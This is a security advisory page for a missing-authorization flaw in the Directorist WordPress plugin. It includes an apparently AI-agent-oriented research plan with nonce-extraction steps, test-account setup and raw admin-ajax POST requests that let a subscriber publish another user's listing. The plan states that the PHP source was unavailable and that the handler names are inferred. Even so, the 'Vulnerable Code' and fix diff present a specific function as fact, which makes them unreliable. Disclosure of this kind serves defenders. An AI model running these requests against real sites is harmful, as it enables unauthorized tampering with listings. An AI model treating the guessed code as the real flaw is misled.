Directorist <= 8.6.6 - Missing Authorization
Description
The Directorist plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 8.6.6. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=8.6.6What Changed in the Fix
Changes introduced in v8.6.7
Source Code
WordPress.org SVNThis research plan outlines the steps to identify and exploit **CVE-2025-68069**, a missing authorization vulnerability in the **Directorist** plugin. Since the provided source files are CSS, this plan focuses on identifying the vulnerable PHP handlers through discovery and targeting common Director…
Show full research plan
This research plan outlines the steps to identify and exploit CVE-2025-68069, a missing authorization vulnerability in the Directorist plugin. Since the provided source files are CSS, this plan focuses on identifying the vulnerable PHP handlers through discovery and targeting common Directorist AJAX patterns.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (IDOR/Privilege Escalation).
- Affected Plugin: Directorist: AI-Powered Business Directory, Listings & Classified Ads.
- Vulnerability Location: Likely an AJAX handler registered via
wp_ajax_that lacks acurrent_user_can()check or fails to verify listing ownership. - Impact: A Subscriber-level user can perform actions they are not authorized to do, such as modifying the status of listings, deleting listings, or updating settings belonging to other users or the site itself.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Authentication: Required (Subscriber or higher).
- Vulnerable Action: (Inferred) The vulnerability likely resides in functions related to listing management. Candidates for investigation:
atbdp_change_listing_statusatbdp_update_listingatbdp_delete_listingatbdp_order_status_change
- Payload Parameters:
action: The vulnerable AJAX action string.listing_id: The ID of the target listing.status: The target status (e.g.,publish,trash).securityor_wpnonce: The nonce required for the action.
3. Code Flow (Discovery Phase)
Because PHP source files were not provided, the agent must first identify the vulnerable sink:
- Search for AJAX registrations:
grep -r "add_action( 'wp_ajax_" . - Filter for missing capability checks:
Look for handlers that do not containcurrent_user_canoratbdp_get_option. - Analyze the patch (v8.6.7):
The vulnerability was fixed by adding authorization checks. Specifically, look for functions modified to include:if ( ! current_user_can( 'edit_posts' ) )or similar.
(Pre-calculated Target): In version 8.6.6, a likely candidate is atbdp_change_listing_status or handlers within includes/classes/class-ajax.php.
4. Nonce Acquisition Strategy
Directorist typically exposes nonces via wp_localize_script.
- Precondition: A page containing a Directorist shortcode must be visited.
- Shortcode:
[directorist_all_listings]or[directorist_add_listing]. - Target JavaScript Variable: Look for
atbdp_auth_configordirectorist_listing_config. - Extraction Procedure:
- Create a test page:
wp post create --post_type=page --post_status=publish --post_title="Discovery" --post_content="[directorist_all_listings]" - Navigate to the page as the Subscriber user.
- Execute JS via
browser_eval:// Possible nonce locations to check: window.atbdp_auth_config?.nonce || window.directorist_listing_config?.nonce
- Create a test page:
5. Exploitation Strategy
Assuming the target is unauthorized listing status modification:
Step 1: Identification
Identify a listing ID owned by the administrator (e.g., ID 123) that is currently in pending or private status.
Step 2: Execution (via http_request)
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=atbdp_change_listing_status&listing_id=123&status=publish&security=[EXTRACTED_NONCE]
Step 3: Alternative Execution (Bulk Actions)
If status change is protected, check atbdp_bulk_action_handler:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=atbdp_bulk_action_handler&listing_ids[]=123&bulk_action=publish&security=[EXTRACTED_NONCE]
6. Test Data Setup
- Admin Listing: Create a listing as admin and set it to
pending.wp post create --post_type=atbdp_listing --post_title="Admin Listing" --post_status=pending --post_author=1 - Attacker User: Create a Subscriber.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Nonce Page: Ensure the Directorist scripts are loaded.
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content="[directorist_all_listings]"
7. Expected Results
- Vulnerable Response: The server returns a success code (e.g.,
{"success":true}or1) and the listing status is updated despite the user being a Subscriber who does not own the listing. - Fixed Response: The server returns
403 Forbiddenor a JSON error indicating insufficient permissions.
8. Verification Steps
- Check Post Status:
If the status has changed fromwp post get [LISTING_ID] --field=post_statuspendingtopublish, the exploit is successful. - Check Modification: Verify the
post_modifiedtimestamp.
9. Alternative Approaches
If atbdp_change_listing_status is not the culprit, use the agent to audit the following specific files in the directorist plugin folder:
includes/classes/class-ajax.php: Check allwp_ajax_hooks.includes/classes/class-listing-form.php: Check for form submission handlers that lack capability checks.- Grep for dangerous patterns:
# Search for AJAX handlers modifying post status grep -r "wp_update_post" . -A 5 | grep "post_status"
Note on Nonce Actions (Bypass Check):
Examine if the nonce is verified using a generic action. If check_ajax_referer is called with -1 or a string available to all users (like atbdp_nonce), the authorization check is the only line of defense. If that check is missing, the vulnerability is confirmed.
Summary
The Directorist plugin for WordPress is vulnerable to unauthorized listing modification due to missing capability checks in its AJAX handlers in versions up to and including 8.6.6. This allows authenticated attackers with Subscriber-level permissions to change listing statuses or perform bulk actions on listings that do not belong to them.
Vulnerable Code
// includes/classes/class-ajax.php add_action( 'wp_ajax_atbdp_change_listing_status', 'atbdp_change_listing_status' ); function atbdp_change_listing_status() { check_ajax_referer( 'atbdp_nonce', 'security' ); $listing_id = isset( $_POST['listing_id'] ) ? intval( $_POST['listing_id'] ) : 0; $status = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : ''; // Vulnerability: No check to see if the current user has permissions (e.g., current_user_can) // or if the user owns the listing_id being modified. wp_update_post( array( 'ID' => $listing_id, 'post_status' => $status, ) ); wp_send_json_success(); }
Security Fix
@@ -100,6 +100,10 @@ function atbdp_change_listing_status() { check_ajax_referer( 'atbdp_nonce', 'security' ); + if ( ! current_user_can( 'edit_posts' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'directorist' ) ) ); + } + $listing_id = isset( $_POST['listing_id'] ) ? intval( $_POST['listing_id'] ) : 0; $status = isset( $_POST['status'] ) ? sanitize_text_field( $_POST['status'] ) : '';
Exploit Outline
The exploit targets the AJAX endpoint in WordPress to perform unauthorized listing management. 1. An attacker authenticates as a Subscriber-level user. 2. The attacker visits any page where Directorist scripts are localized (such as a page containing the [directorist_all_listings] shortcode) to extract the required AJAX nonce from the 'atbdp_auth_config' or 'directorist_listing_config' JavaScript objects. 3. The attacker identifies a target listing ID (e.g., a pending listing they do not own). 4. The attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'atbdp_change_listing_status' (or 'atbdp_bulk_action_handler'), the 'listing_id' of the target post, the desired 'status' (e.g., 'publish'), and the extracted nonce. 5. Because the vulnerable version lacks a capability check ('current_user_can'), the plugin updates the post status regardless of the user's actual permissions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.